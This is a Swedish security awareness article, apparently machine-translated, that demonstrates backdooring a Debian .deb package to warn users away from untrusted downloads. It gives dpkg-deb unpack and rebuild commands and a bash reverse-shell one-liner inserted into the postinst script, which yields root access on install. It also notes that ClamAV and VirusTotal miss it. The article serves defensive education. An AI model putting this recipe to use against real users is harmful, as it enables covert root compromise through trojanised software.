Hur DEB-paket är bakdörrar och hur man upptäcker det

Nyckel takeaways

  • DEB-paket kan enkelt backdoors, vilket gör att angripare kan injicera skadlig kod i ditt system när du installerar dem med root-behörigheter.
  • Infekterade DEB-paket är svåra att upptäcka, eftersom de kanske inte flaggas av antivirusprogram eller molnlösningar som VirusTotal.
  • För att skydda dig själv, undvik att ladda ner DEB-paket från slumpmässiga webbplatser, håll dig till officiella nedladdningswebbplatser eller community-betrodda webbplatser och överväg att installera säkerhetsverktyg för att säkra ditt Linux-system mot nätverksattacker.

DEB-filer är programvarupaket som är det primära formatet för leverans av programvara på Debian-baserade Linux-distributioner.

För att installera DEB-paket måste du använda en pakethanterare som dpkg med root-behörigheter. Angripare drar fördel av detta och injicerar bakdörrar i dessa paket. När du installerar dem med dpkg eller någon annan pakethanterare, exekveras den skadliga koden också tillsammans med och äventyrar ditt system.

Låt oss utforska exakt hur DEB-paket är bakdörrar och vad du kan göra för att skydda dig själv.

Hur är DEB-paket bakdörrar?

Innan du förstår hur DEB-paket är bakdörrar, låt oss utforska vad som finns inuti ett DEB-paket. För demonstration kommer jag att ladda ner Microsoft Visual Studio Code DEB-paketet från den officiella Microsoft-webbplatsen. Det här är samma paket som du skulle ladda ner om du vill installera VS Code på Linux.

Ladda ner: Visual Studio Code

Nu när du har laddat ned målpaketet är det dags att packa upp det. Du kan packa upp ett DEB-paket med kommandot dpkg-deb med flaggan -R följt av sökvägen för att lagra innehållet:

 dpkg-deb -R <package_name> <path> 

Detta bör extrahera innehållet i VS Code-paketet.

När du flyttar in i mappen hittar du flera kataloger, men vårt intresse ligger bara i DEBIAN-katalogen. Denna katalog innehåller underhållarskript som exekveras under installationen med root-privilegier. Som du kanske redan har räknat ut, ändrar angriparna skripten i den här katalogen.

För demonstration kommer jag att modifiera postinst-skriptet och lägga till ett enkelt bash omvänt TCP-skal med en liner. Som namnet antyder är det ett skript som körs efter att paketet har installerats på systemet.

Den innehåller kommandon som slutför konfigurationerna som att sätta upp symboliska länkar, beroendehantering och mer. Du kan hitta massor av olika omvända skal på internet. De flesta av dem kommer att fungera likadant. Här är provet omvänd skal one-liner:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Förklaring av kommandot:

  • bash: Detta är kommandot som anropar Bash-skalet.
  • -i: Flaggan talar om för Bash att köra i interaktivt läge som tillåter realtidskommando I/O.
  • >& /dev/tcp/ip/port: Detta omdirigerar standardutdata och standardfel till ett nätverksuttag, vilket i huvudsak upprättar en TCP-anslutning till och .
  • 0>&1: Detta omdirigerar ingången och utgången till samma plats, dvs. till nätverksuttaget.

För de oinitierade är ett omvänt skal en typ av kod som, när den körs på målmaskinen, initierar en anslutning tillbaka till angriparens dator. Omvända skal är ett utmärkt sätt att kringgå brandväggsbegränsningar eftersom trafiken genereras från maskinen bakom brandväggen.

Så här ser det modifierade skriptet ut:

Som du kan se är allt sig likt men bara en rad har lagts till, dvs vårt Bash omvända skal. Nu måste du bygga tillbaka filerna till ”.deb”-formatet. Använd helt enkelt kommandot dpkg med flaggan –build eller använd dpkg-deb med flaggan -b följt av sökvägen till det extraherade innehållet:

 dpkg --build <directory>
dpkg-deb -b <directory>

Nu är det bakdörrade DEB-paketet redo att skickas till skadliga webbplatser. Låt oss simulera ett scenario där ett offer har laddat ner DEB-paketet till sitt system och installerar det som vilket annat vanligt paket som helst.

Den övre terminalrutan är för offrets POV och den nedre är angriparens POV. Offret installerar paketet med sudo dpkg -i och angriparen lyssnar tålmodigt efter inkommande anslutningar med kommandot netcat i Linux.

Så snart installationen är klar, lägg märke till att angriparen får den omvända skalanslutningen och nu har root-åtkomst till offrets system. Nu vet du hur DEB-paket är bakdörrar. Låt oss nu lära oss hur du kan skydda dig själv.

Hur man upptäcker om ett DEB-paket är skadligt

Nu när du vet att infekterade DEB-paket är en grej, måste du undra hur du hittar infekterade. Till att börja med kan du prova att använda ett Linux-antivirusprogram som ClamAV. Tyvärr, när en ClamAV-skanning kördes på paketet flaggade den inte som skadlig. Här är resultatet av skanningen:

Så om du inte har en premium antiviruslösning på plats (vilket inte är en garanti för att du inte blir hackad) är det ganska svårt att upptäcka skadliga DEB-paket. Låt oss försöka använda en molnlösning som VirusTotal-webbplatsen:

Som du kan se upptäckte VirusTotal inget fel med det. Tja, det enda sättet att skydda dig mot sådana hot är att följa grundläggande säkerhetshygien som att inte ladda ner filer från okända källor, alltid kontrollera hashen för en fil och i allmänhet undvika att installera skum programvara.

Internet är fullt av sådana hot. Det enda sättet att surfa utan att förlora din data är att ha koll på dig och surfa på betrodda webbplatser. Dessutom, för Linux, bör du också försöka ta reda på om programvaran du laddar ner har en AppImage-variant eftersom de är fristående och kan vara sandlådor och därmed hållas utom kontakt med ditt system.

Ladda inte ner DEB-paket från slumpmässiga webbplatser!

DEB-paket är inte dåliga i sig, men angripare kan enkelt beväpna och skicka dem till intet ont anande användare. Som visat kan ett DEB-paket enkelt öppnas och modifieras för att lägga till anpassad kod med bara några få kommandon, vilket gör det till en vanlig vektor för att skicka skadlig kod.

Även enkla bakdörrar på DEB-paket förblir okända av de bästa antiviruslösningarna. Så det bästa du kan göra är att spela säkert, bära ditt sunda förnuft när du surfar på webben och alltid ladda ner programvara endast från officiella nedladdningssidor eller gemenskapsbetrodda webbplatser.

Nu när du är medveten om säkerhetsriskerna som följer med att installera DEB-paket från nya eller okända webbplatser, bör du vara försiktig när du installerar ny programvara. Det räcker dock inte att bara vara försiktig med vad du installerar. Ditt Linux-system kan också vara ett mål för nätverksattacker.

För att säkerställa att du är säker i händelse av en nätverksattack bör du överväga att installera nätverkssäkerhetsverktyg.